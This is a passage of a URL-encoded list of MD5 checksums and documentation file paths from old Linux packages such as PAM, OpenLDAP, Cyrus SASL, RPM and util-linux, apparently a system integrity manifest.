%2Fpam-2.html%0A4440f7e033f0068692c0fd80e2d54d31%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam-3.html%0A48be69471f3f1ad9fe27a8b35ee52f78%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam-4.html%0A983fc6aa94d81e152dd110b9fc680b77%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam-5.html%0Ad5d492acea11d26a42c2846e98eb727b%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam-6.html%0Add729a16e89e10d66843565972d9d893%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam-7.html%0A38a689b9690e9fe3fd2781e4d375047c%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam-8.html%0Afce650bf41d7ca81a50a3dd1918ef7e0%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam-9.html%0Ac509182fdae61998e9cf3bd599a69cd1%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam.html%0Ad769037fec786045ed670f29f1c40358%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-10.html%0A528cae3aec7e51497dd46052bb218b38%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-11.html%0A2e3db374a16d842766b5fd5a9bddef4a%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-12.html%0Aeb4c01e6750db02123a8f0d71a1e5bfb%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-13.html%0A7e86f2a503647cffa6c75a860375153b%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-14.html%0A18911c88938c36d31f22d36f09b6d316%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-2.html%0A5760d5b9ffc58c72bae243a010bfc734%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-3.html%0A5dde47ff4528ad71e3f311a6a71cf5d7%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-4.html%0A9349df128f79d1021d36ab295bb9b36b%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-5.html%0A1c41d2d09b27bc07c10689fac9043c9e%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-6.html%0A313674715e3c180f702e9c7f8dd8fb1b%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-7.html%0A121d973c51d0df5277bf0bcb66390b41%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-8.html%0A5375c5e1db6f62ce8c427dfd759ef557%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-9.html%0Aa6df9a510232da780c4d8a62228df5ab%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl.html%0Ac7ee2c3e64dace57c849a9320400883c%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-1.html%0A76840dc24cc713939306ec7ec282b1a3%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-10.html%0A332f0af766cf88944b1ae6f9c87dbf79%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-11.html%0A50b380e5ccbfd21adb9ac55513fc9126%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-12.html%0A5566121dfb7e3439a913485978251dee%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-2.html%0A1c6842d7d1b0f6d9e494a7c9bb5f2535%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-3.html%0A81809c0cbfd1f6406bc77e4825933723%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-4.html%0Afa8209392e9a9baa33cde5cc2b6bd171%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-5.html%0A14161e5e0d0ba15911854681a14ea9a2%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-6.html%0Ae4a20d0fd72b4023a8546975e98ae458%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-7.html%0Ad112164566ca76f7b111e33e126fcbe5%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-8.html%0A2d0e021c879d2fa4a18dc1596cfaeeca%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules-9.html%0A2da62ac8e69f257d0f35ef41c0c4fc56%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_modules.html%0A79954095385358677d04179222294182%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fps%2Fmissfont.log%0A71d27ba52e1d9eb5b8c3f399d35e35fd%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fps%2FREADME%0Abe88f0383981b8b9e67fb882f2dbacc6%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fps%2Fpam_appl.ps%0A2d9474ca456bd52b3fad34a514ceb2d1%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fps%2Fpam.ps%0A7c99ddddb81854b5d359946ba3dee5ce%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fps%2Fpam_modules.ps%0Aca0395de9a86191a078b8b79302e3083%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2FCopyright%0A935d0ed693c2e1d019f7ca61f4846ab6%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_deny%0A11070d8a17400c094ceca259731c4a65%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME%0Abbe70c0eda0571c97324b1b9ffd64d45%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_localuser%0A1cdbfdce51d80a2c64f5fdd98d324c89%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_access%0A493c60dfaaa925e81eb1a79169c61de3%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_chroot%0A127f42eeb2a4db88da9e12ebb7ab32a7%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_console%0A9a30f30a7c7a2b57b99bdc5cfc6898bb%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_cracklib%0A7456a5a8cd6e4067c83293cb56653642%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_env%0A15da0d8e62c02b40d0170a1e6d693ef8%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_filter%0A2f94437839616923cb1e53a9ed82bd8f%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_ftp%0A82b695f127b7ef7a8b26f1a7f55d08a9%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_limits%0Ac3999990a16f72a57809747397449193%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_listfile%0A52e3a6d09b1ff909aeec28f4b296579a%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_nologin%0A9abab33343483df25ed6bdfee5308468%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_mail%0Aabeef724d25721cb3301be6c05f21d1d%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_securetty%0A89fb7b55830cfbef254813a175fed379%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_permit%0A6a31988d48628d0bc7980d24a7a8b314%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_pwdb%0A3e1287dd4d603baf211e8255f1507c16%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_rhosts%0Ae62200520643be3e190b6d19308912da%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_rootok%0A04b6d8b6668aca34a8af612ded391716%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_shells%0A02889da5836f9d4333e23c9d031c90f9%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_stack%0A0339b77731f793c6375ecbaebecf3c39%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_stress%0A193d6045153f0c46532428b3c08fd05c%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_tally%0Ab35d05bd89b65b2f72fba718e88d9dc1%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_time%0Aaf9ef3a59af69b0b768381d25a147071%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_unix%0A1175b0345d3909c18611728134b23a7d%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_userdb%0Ab5cf91aaf4a30c220a1cd8cbbd6bf75e%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_warn%0A65178960eabda45c711cd70f1aa170d4%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_wheel%0A9c803b3b69c6e5d96ccdc4e2b77b6146%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2FREADME.pam_xauth%0A5339925bf5fdc464b628ccd5c4694a0b%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2Fpam.txt%0A31e49dc8a3ffbf00d8f84acc84c60ec1%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2Fpam_appl.txt%0A51cde833da57c551a8a9ae31bb151294%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Ftxts%2Fpam_modules.txt%0A4569a6bb831ec94eb9d49111263aa439%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Frfc86.0.txt%0A3be4ff948e8551f152a27ecdf2b9ce7e%20%20%2Fusr%2Fshare%2Fdoc%2Fauthconfig-4.1.19%2FNOTES%0Aee3f49d2c50aeacc6ffd7a66f458247d%20%20%2Fusr%2Fshare%2Fdoc%2Fauthconfig-4.1.19%2FTODO%0A13474d82c83400514932b789686db3a7%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2Fgssapi.html%0A0dda8c39daabc6af0e88b4b84a720fe7%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2FAUTHORS%0A4ab6b0bc96e19c65bc0a218ff2c9921c%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2FCOPYING%0A3d800780891086b0e10f08da7a8eb9ae%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2FNEWS%0A69a4b9a41765e93e7add6927df3dddae%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2FREADME%0A02f21bc026627e4b14e6876e7b5b97f4%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2FTODO%0A880ffdc4c56d03fa8857339a9b98c99a%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2Fprogramming.html%0A751d47536878cfeb67deadfbcd5a43ad%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2Findex.html%0A4d2de4220a36a0aa17dd8a0840c978dc%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2Fdraft-leach-digest-sasl-05.txt%0A3f7f15feef2e4f15df2de6f9d41fe54f%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2Fdraft-newman-auth-scram-03.txt%0A23154135320ae0e2f2a785925cb50dfb%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2Fsysadmin.html%0Ac6beb4140671d319f6433a3399cf6df2%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2Frfc1321.txt%0A139434c3e50e59cf6eb559c7ae587c99%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2Frfc2095.txt%0Ad108e0788d01554ad3d1cd49558b2d20%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2Frfc2104.txt%0Aa692a183140d0c2aff620b959f0f56ed%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2Frfc2222.txt%0Aa1ec4f21a9c79e64ccd5770f764d07e4%20%20%2Fusr%2Fshare%2Fdoc%2Fcyrus-sasl-1.5.24%2Frfc2245.txt%0Ab4768f22b1aa4804794c2bde11f3ea30%20%20%2Fusr%2Fshare%2Fdoc%2Fkudzu-0.99.23%2FREADME%0A614df44d9dcc9261bd2c2f436bdd1ab9%20%20%2Fusr%2Fshare%2Fdoc%2Fkudzu-0.99.23%2Fhwconf-description%0A50679b926a428e8bd3e5ad376bd0bb86%20%20%2Fusr%2Fshare%2Fdoc%2Fsh-utils-2.0.11%2FNEWS%0A456317674ee88185d27d7447ab5c0a27%20%20%2Fusr%2Fshare%2Fdoc%2Fsh-utils-2.0.11%2FREADME%0A79a8a518d9b06cff5f67150e1fe7d572%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc1274.txt%0A0b1c2927660eeb0a70287bf1d792cc63%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2FINDEX%0Ac11346a3c9e241d8786c0ba68610034f%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc1279.txt%0Af72320fbe1c474f7dff3e00ed697b817%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc1308.txt%0A6fad65b9fe1322d332dde4c9cb86336c%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc1309.txt%0A029b2d1890d5933e178f21e3dcd3c28f%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc1617.txt%0A1d4bbf8dcbaa1c23352d326a93baf3be%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc1823.txt%0Ad788ffb0f8c21198086019a976d94bf4%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2079.txt%0A22d7abfbc1e30e77b90f3172906b3bfb%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2218.txt%0Aa692a183140d0c2aff620b959f0f56ed%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2222.txt%0Aa65282977549384d565dbc74b0b4b078%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2247.txt%0Af03ec15d34a19e003d647e075719fa9d%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2251.txt%0Ac4421449d1c45201590939dce1e1fff2%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2252.txt%0Aa8e910b09b6b1b9056c92ff5430e517a%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2253.txt%0Aa2e1cab26eed6c987664138c472a17e8%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2254.txt%0A0d34310da8e8a3320cb6905d4d6b54d9%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2255.txt%0Aecbd3d5cb5f28581a7b61ff4cd071672%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2256.txt%0A11c2eb0a3d402e54db60cd1b4790dd8d%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2279.txt%0A8794ca54a08d0ca9a66b18f5f2abd59b%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2307.txt%0A12aef23bbac5eacdcd473614abf9a1d1%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2377.txt%0Ab3a91fb7cbc3626aa569af8392cd0362%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2596.txt%0A9b48d53198e061bbcc77c7eca020e79e%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2696.txt%0A47cd84c83121d7e86c08d2cb1c74fd28%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2713.txt%0A0ba21b33d106d600a98dd1195e07a64f%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2714.txt%0A3dbfd3b0b1e9b59f27d511745ead0aae%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2798.txt%0Aa57c594a166cb83d616c6eef614cb9a0%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2828.txt%0A362f5c67bbcfe11d43be2f2ab8c39dc2%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2829.txt%0Ae84837930c295630133fa1c02a21028d%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2830.txt%0A43aefd048a18d9f537f8f1855443b899%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2831.txt%0A060db71dc80184d3506487e1dd4c8e6a%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2849.txt%0A86230a78c7a4e495035c377d2266bd6e%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc2891.txt%0A1f0ca2797433f6a4410cfe08990ff590%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc3062.txt%0A1f0d7801b5795eb37f0ddda42f8bf2fd%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2Frfc%2Frfc3088.txt%0A736d4bb77e6fa91d61c6751b11595e27%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2FANNOUNCEMENT%0A8480b443a399bc3780796316e33e145f%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2FCHANGES%0A79854831e411296fea12310bd13ce2b7%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2FCOPYRIGHT%0Afc7fddda1549349c93a439bb0e47cd24%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2FLICENSE%0Aaeb4f737782ad5c4dbbfa76b46cfaca6%20%20%2Fusr%2Fshare%2Fdoc%2Fopenldap-2.0.11%2FREADME%0Af6fe718c0908dca55fda36212577f6f2%20%20%2Fusr%2Fshare%2Fdoc%2FSysVinit-2.78%2FPropaganda%0Ac73786178011d305f7ecfc56219776bf%20%20%2Fusr%2Fshare%2Fdoc%2FSysVinit-2.78%2FInstall%0A9c60dd21a1e2344c9f435fe1c4ed0d61%20%20%2Fusr%2Fshare%2Fdoc%2FSysVinit-2.78%2Fstart-stop-daemon.c%0A0f9169a23191570a871f7b1047c25d99%20%20%2Fusr%2Fshare%2Fdoc%2FSysVinit-2.78%2Fchangelog%0Ae0c634eb12b80760bfec731e02feffb9%20%20%2Fusr%2Fshare%2Fdoc%2FSysVinit-2.78%2Fstart-stop-daemon.README%0Acd7467df2578ba34f5dda81c1f7e71ca%20%20%2Fusr%2Fshare%2Fdoc%2FSysVinit-2.78%2Fsysvinit-2.78.lsm%0A57c6fdfa0c13713c8bcbdf28129ec2dd%20%20%2Fusr%2Fshare%2Fdoc%2Fzlib-1.1.3%2FREADME%0Aa0845668215f8119de0eb56769a7a2a9%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2FMakefile%0A8da4fbf47158c663be9e6b0e91a9ebca%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2FCHANGES%0A9e02d217df39743507285c9f89ac451f%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2FGROUPS%0Af145482cb90f17b9ce4c50dc8e799cfa%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Fbuilddependencies%0Aac677fa4805551cc63c8bc4a5f102b3c%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2FMakefile.am%0A1014795e207d1a5cd7b068f3780e8615%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2FMakefile.in%0A62ff7aa8687cca3aff0c350e53d2372a%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2FRPM-GPG-KEY%0Ad86d23c69cb9aa630b6cc527f310013c%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2FRPM-PGP-KEY%0A48c097d3024e75257cbd6b56795a0591%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Fconditionalbuilds%0A025536bb5344f112ce72d96f10161f7f%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Fbuildroot%0A2b0443d8cf77ab220e0a43f49b3ee021%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Fdependencies%0A07ef9af1c30234863056e2f2b489ed5a%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Fformat%0A47f76bf29059285d6d7e13b44443907d%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Fhregions%0A6512775d6c7add4dcee82b1fb5488a17%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Fmacros%0A1e6331a18ecbac1d8ed6d1ae913190e2%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Fmultiplebuilds%0Adfed65f04e3a8230bddbda4b9e08b38e%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Fqueryformat%0A322bbba4efbdf80428d1df907da92e34%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Frelocatable%0Acf0378292307f94b565dc4be1c2a494a%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Frollbacks%0A6b538cba40d1816d5ca26acf541896cd%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Fsignatures%0A1c498615b0784060c54ba0185d5ea78a%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Fspec%0A854e5d68af3ce6de4d8be45d6024d86b%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Ftriggers%0A83bedd05f57ed8cf60bb18bfb95f5c5a%20%20%2Fusr%2Fshare%2Fdoc%2Frpm-4.0.3%2Ftsort%0Afd83950a7239c4711bbc0b468393c949%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.bootutils-0.1%0A0facd6d4d0ff07a7d7ad461cd4742eba%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.admutil%0A82681219e0e7bd794e9f6349f8ea41c9%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.aeb%0A79a3e122af882cee336265b8e38e5bec%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.cfdisk%0A95472b712ab1608f576d39161d8fa279%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.cal%0Ad5e4b1ef49445912ce853a81a87c8e32%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.shhopt-1.1%0A8ffdf55a5a2f5b5390a22ce1ed9436ad%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.clear%0Acda2a9f34d3765ab758ef242bd3d5d70%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.col%0A6625e76ebe71f49e72222c3bd2d30a26%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.fdisk%0A0cfc45665eb563bd5260f17ef77c870b%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.getty%0Aaf1f8a52b83c1a20cdd959302cdc97ea%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.hwclock%0Ab4506a6b8f10944eb8d223b2b710d3e5%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.mount%0A7681527a8d5416b757840115bf316de2%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.namei%0Adca86bb4c3c94e708dfec65a1903c163%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.modems-with-agetty%0Ae37608712aee543c7a06b02f666de65a%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.poeigl%0Ad0f04f3cf1b41e62aa269eec2267dcb6%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.reset%0A9e94a4305fafcc08c9afe9a4df6c6058%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.script%0A4b2ddde637692b5e58c18e08a9446b50%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2FREADME.widechar%0A7bca8af88823850a71cce9517a1c9ca7%20%20%2Fusr%2Fshare%2Fdoc%2Futil-linux-2.11f%2Fsfdisk.examples%0A08282904c638517f827c2696c705273a%20%20%2Fusr%2Fshare%2Fdoc%2Finitscripts-6.40%2Fipv6-6to4.howto%0A9394a8fcfaa130f256581d85704fd5f7%20%20%2Fusr%2Fshare%2Fdoc%2Finitscripts-6.40%2FChangeLog%0A7d87f003418763a5ccbf1da229fa1787%20%20%2Fusr%2Fshare%2Fdoc%2Finitscripts-6.40%2Fipv6-tunnel.howto%0A0353ce134714c1dba1a8a53013a98b63%20%20%2Fusr%2Fshare%2Fdoc%2Finitscripts-6.40%2Fstatic-routes-ipv6%0A0768dccc4ccc3b98b7092bd63047f470%20%20%2Fusr%2Fshare%2Fdoc%2Finitscripts-6.40%2Fsysconfig.txt%0Ad8aab00539db5f86a0c415f741974666%20%20%2Fusr%2Fshare%2Fdoc%2Finitscripts-6.40%2Fsysvinitfiles%0A3c05a1e8776a76cb6a9aa78487bb19bf%20%20%2Fusr%2Fshare%2Fdoc%2Fapmd-3.0final%2FREADME.transfer%0Ab8c87b33147a7f9495690f15b97ba595%20%20%2Fusr%2Fshare%2Fdoc%2Fapmd-3.0final%2FANNOUNCE%0A0136d7ab5e416c7d491a3db283c1a3ee%20%20%2Fusr%2Fshare%2Fdoc%2Fapmd-3.0final%2FChangeLog%0A961a239a581fd2ea91a5bcb388be4764%20%20%2Fusr%2Fshare%2Fdoc%2Fapmd-3.0final%2FLSM%0A658b9799dd744b92571425a5f8290581%20%20%2Fusr%2Fshare%2Fdoc%2Fapmd-3.0final%2FREADME%0Ad99c72ad08d757b94a80c4aa1deac804%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO-1.html%0A8ca43cbc842c2336e835926c2166c28b%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FCOPYING%0A600a548dc0b217778a899f03f0d8d265%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2Fipchains-quickref.ps%0A0c4b7bfb419a3306ac76ff722d1822f4%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO-10.html%0A435a17d09249285b19dd9c165129cbe6%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO-2.html%0Ac30f2c4b3a981b7313eb645b64a3d0c3%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO-3.html%0A57e3fcd8d44614589b505942799b7895%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO-4.html%0Aae20ca4429b54d93fcad928a6d3d6fd1%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO-5.html%0A54e56c72fa4a02b1e453f426d55cf0d1%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO-6.html%0A2488f748795265e99b925ab4b7817645%20%20%2Fusr%2Fs